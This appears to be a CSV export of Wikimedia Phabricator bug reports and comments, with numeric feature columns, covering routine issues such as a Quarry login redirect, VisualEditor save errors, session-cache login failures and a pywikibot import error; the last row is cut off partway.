+101124,Make sure labs ENC knows about cert changes,When we change cert names the ENC might break -- we should make sure it won't.,Needs Triage,90.0,1433263433,1433598006.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-lhud3fvnl6owel2xd77p,task_description,resolved,True,c3,1,True,True,True,-5,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+467619,Make sure labs ENC knows about cert changes,Bitrotted patch: https://gerrit.wikimedia.org/r/#/c/202790/,,,1433264246,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-lhud3fvnl6owel2xd77p,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+100162,Return to the starting Quarry page after login,"Here is how to reproduce the bug:
+
+1. Go to a specific query page on Quarry, say http://quarry.wmflabs.org/query/3654
+
+2. Click on the Login link up top
+
+3. Pass the OAuth step successfully.
+
+Expected behavior: you should be redirected back to http://quarry.wmflabs.org/query/3654 after login.
+
+Current behavior: you are redirected to http://quarry.wmflabs.org/ instead.
+
+I assume this can be fixed by keeping the referring URL in a query string or a cookie.",Needs Triage,90.0,1432471223,1436097627.0,PHID-USER-p2ebbrj45wupyi25othr,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-5t56qsjhduozaemm4nb5,task_description,resolved,True,c3,1,True,False,True,-6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+486723,Return to the starting Quarry page after login,Fixed!,,,1436097627,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+486721,Return to the starting Quarry page after login,"Change 222891 merged by jenkins-bot:
+Do not unconditionally redirect to home page after login
+
+[[https://gerrit.wikimedia.org/r/222891]]",,,1436097467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+486720,Return to the starting Quarry page after login,"Change 222891 had a related patch set uploaded (by Yuvipanda):
+Do not unconditionally redirect to home page after login
+
+[[https://gerrit.wikimedia.org/r/222891]]
+",,,1436097449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5t56qsjhduozaemm4nb5,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+100136,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,{F168490},Needs Triage,90.0,1432457177,1438468021.0,PHID-USER-adqeptkffhhfdhukexph,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_description,resolved,True,c3,1,False,False,True,-6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+502280,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,">>! In T100136#1509579, @Shangkuanlc wrote:
+> Frankly, I am not sure whether it's the same with T104230 I will give you feedback if I encounter this situation again next time.
+
+Thank you!",,,1438745169,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+502279,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Frankly, I am not sure whether it's the same with T104230 I will give you feedback if I encounter this situation again next time.",,,1438745038,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+500775,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,This almost certainly was the same as {T104230}. Sorry for the disruption. :-(,,,1438468021,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+500773,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Is this the same as {T41057}?   Also, do you remember whether you copied and pasted a reference?",,,1438467695,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+465552,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Oh... I am not sure, I used firefox and OSX Yosemite. I put the OS X into sleep for a night, and when I return to the browser then it got into this situation.",,,1432884191,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+465046,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"Thanks for taking the time to report this!
+
+What are exact steps to reproduce the problem, so that anybody else could try? Also see https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1432821372,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,True,,,-5,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0
+462836,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
+{F168495}
+It sends back ""server error 500""
+{F168497}",,,1432458012,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-6,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+462835,Cannot save page edits due to parsoidserver-http: HTTP 500 in Chinese Wikipedia when using Visual Editor,"I am switching the edit mode from visual editor to source code, and it still freezed the tab like the screenshot. I can't save my work in any way?
+{F168495}",,,1432457895,,PHID-USER-adqeptkffhhfdhukexph,False,,,PHID-TASK-jvnhdm5lp77f4bx2eg3q,task_subcomment,,True,c3,1,False,,,-6,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+100068,Can't login on labs-vagrant instance without disabling $wgSessionsInObjectCache,"Updating https://ogvjs-testing.wmflabs.org I found I was unable to log in, with errors about cookies being disabled. Usually this indicates something about the session serialization if cookies themselves are present.
+
+Worked around by disabling these lines in /vagrant/LocalSettings.php:
+
+```
+ // Avoid user request serialization and other slowness
+-$wgSessionCacheType = 'redis';
+-$wgSessionsInObjectCache = true;
++#$wgSessionCacheType = 'redis';
++#$wgSessionsInObjectCache = true;
+```",Needs Triage,90.0,1432374481,1432375935.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-TASK-23wpdktrk4tpqss65lgl,task_description,invalid,True,c3,1,True,True,True,-6,True,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1
+462445,Can't login on labs-vagrant instance without disabling $wgSessionsInObjectCache,I seem to have had a bogus redis session; restarting it a few times seems to have cleared it up. Yay!,,,1432375935,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-23wpdktrk4tpqss65lgl,task_subcomment,,True,c3,1,True,,,-6,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+100022,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"This doesn't make any sense at all. After logging in and get redirected to Special:UserLogout, the user gets automatically logged out and have to log in again. ",Needs Triage,90.0,1432304675,1432629536.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-5fqj7istb5jgay6kkvco,task_description,resolved,True,c3,1,True,True,True,-6,True,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+463868,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,Updated. Seems fixed,,,1432629536,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+463462,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"That's T99990. I'll do the tests after that get fixed, so I can update without changing git url.",,,1432557734,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+463401,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"I have no idea why, but I find no such commit in https://git.wikimedia.org/log/mediawiki%2Fextensions%2FOAuthAuthentication",,,1432552802,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0
+463302,Login link on Special:UserLogout should not have Special:UserLogout as returnto value,"I think this was the issue I fixed in https://gerrit.wikimedia.org/r/#/c/174439/, let me know if not!",,,1432543890,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5fqj7istb5jgay6kkvco,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0
+99297,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Thaejas|Thaejas]] ([[https://en.wikipedia.org/wiki/User talk:Thaejas|talk]]) 00:27, 11 May 2010 (UTC) wrote://
+
+In Login screen, when clicked on any headings of the list (ID, Username, Password saved, etc), the list disappears and AWB stops responding to close. I need to restart the AWB.
+
+----
+**Duplicate:** Open AWB and click on Login/Profiles, then click on any heading in the list.
+**OS:** Windows XP
+**.NET:** 2.0
+**Version:** 5.0.2.2, SVN 6518
+**Workaround:** Restart AWB",Needs Triage,90.0,1431729288,1442944421.0,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_description,declined,True,c3,1,True,True,True,-7,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+532593,[Migrated] Login/Profiles screen list disappears on clicking headings,"Has not been a single reported instance of this since 2012. I'll mark is as declined. Feel free to reopen if this still happen to you,.",,,1442944421,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+480111,[Migrated] Login/Profiles screen list disappears on clicking headings,Need a reproducible test case,,,1435077157,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+459594,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Colonies Chris|Colonies Chris]] ([[https://en.wikipedia.org/wiki/User talk:Colonies Chris|talk]]) 08:36, 10 October 2012 (UTC) wrote://
+
+I've experienced this same problem on Windows 7 (64 bit).",,,1431729422,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+459593,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Rjwilmsi 08:20, 20 July 2012 (UTC) wrote://
+
+Also works fine for me on Windows XP SP3.",,,1431729393,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+459592,[Migrated] Login/Profiles screen list disappears on clicking headings,"//[[https://en.wikipedia.org/wiki/User:Thaejas|Thaejas]] ([[https://en.wikipedia.org/wiki/User talk:Thaejas|talk]]) 12:13, 31 May 2010 (UTC) wrote://
+
+So is there any solution for XP users other than changing the OS?",,,1431729362,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+459591,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Rjwilmsi 10:10, 28 May 2010 (UTC) wrote://
+
+Also works for me on Windows 7.",,,1431729339,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+459590,[Migrated] Login/Profiles screen list disappears on clicking headings,"//@Reedy 17:36, 11 May 2010 (UTC) wrote://
+
+WFM on Windows 7...",,,1431729315,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-yw3kz3xjfvtnizzzsgcs,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+98527,Implement HTTP/2 for Wikidata,"The Wikidata UI keeps flaking out on me in a manner consistent with Firefox having reached the limit for the number of concurrent requests it is willing to make.  This would presumably be alleviated by the use of HTTP/2.  (And by the time you get this implemented, maybe the Iceweasel I'm actually using will even support HTTP/2. ;-)
+
+(Maybe it would be better to figure out why some of the requests might be blocking for excessively long, though.)",Needs Triage,90.0,1431033771,1431705122.0,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-ckw5tql2oegj57xye6gl,task_description,invalid,True,c3,1,False,False,True,-8,True,1,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+459289,Implement HTTP/2 for Wikidata,"SPDY 3.1 was enabled some time back for the whole Wikimedia cluster. Support for that was released in Iceweasel version 27 or 28, I don't remember when it was enabled by default. See http://mozilla.debian.net/ if you want to upgrade. To see if you are served with SPDY, open the network tab of the developer tools and look at the response headers, it lists ""X-Firefox-Spdy: 3.1"" for me (the header is injected by the client).
+
+> (Maybe it would be better to figure out why some of the requests might be blocking for excessively long, though.)
+
+Yes, the network tab in the developer tools might help you. Please reopen this bug or a new one if you find something.",,,1431705122,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ckw5tql2oegj57xye6gl,task_subcomment,,True,c3,1,True,,,-7,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+98292,Raw html showing on login form,"{F161118}
+https://en.m.wikipedia.org/wiki/Special:UserLogin?returnto=2002_Pacific_typhoon_season&campaign=gather&returntoquery=article_action%3Dadd_to_collection&warning=gather-purpose-login-action
+",Needs Triage,90.0,1430898562,1430945588.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-wdkwgnoc365m65ffsocd,task_description,resolved,True,c3,1,True,True,True,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+454947,Raw html showing on login form,It just got fixed on the train. Choo choo!,,,1430945588,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+454917,Raw html showing on login form,https://gerrit.wikimedia.org/r/#/c/205986/ needs cherrypicking,,,1430943810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+454454,Raw html showing on login form,Ping @kaldari. This looks like a bug in [If5ec2ca2f345ab95851ecd2d658332d94a8d4270](https://gerrit.wikimedia.org/r/#/c/204977/). Did a dependency not get derployed yesterday?,,,1430904904,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1
+454448,Raw html showing on login form,@phuedx you probably want to fix this asap in your sprint,,,1430904335,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wdkwgnoc365m65ffsocd,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1
+97992,Problem with login.py for pywikibot,"I'm trying to create a bot and log in for the first time.  I've generated the family and user files, and then navigated to the pywikibot folder to access login.py, but I keep getting an error message as follows:
+
+```
+Don'tNeedToKnow@Imamadmad /cygdrive/c/core/pywikibot
+$ python login.py
+Traceback (most recent call last):
+  File ""login.py"", line 20, in <module>
+    import pywikibot
+ImportError: No module named pywikibot
+
+```
+I haven't touched any files at all apart from running generate_family_file.py and generate_user_files.py.  The version of pywikibot is the one from http://tools.wmflabs.org/pywikibot/ last updated on May 4th, but this has been happening for almost a week now.  It was about a week ago that I first tried installing the software.  I don't know what exactly the problem is.  The above error message is all I've got.  I can post further if there are more things you can tell me to do to expose the cause of the problem.
+
+Edit: I am using Python 2.7.8 if that's of any help.
+
+
+To give full list of what files are available and where, from where they've been placed by default:
+
+```
+Don'tNeedToKnow@Imamadmad /cygdrive/c/core
+$ ls
+ChangeLog                logs                   setup.py
+CREDITS                  pwb.py                 tests
+externals                pywikibot              tox.ini
+ez_setup.py              README.rst             user-config.py
+generate_family_file.py  README-conversion.txt  user-config.py.sample
+generate_user_files.py   requirements.txt
+LICENSE                  scripts
+
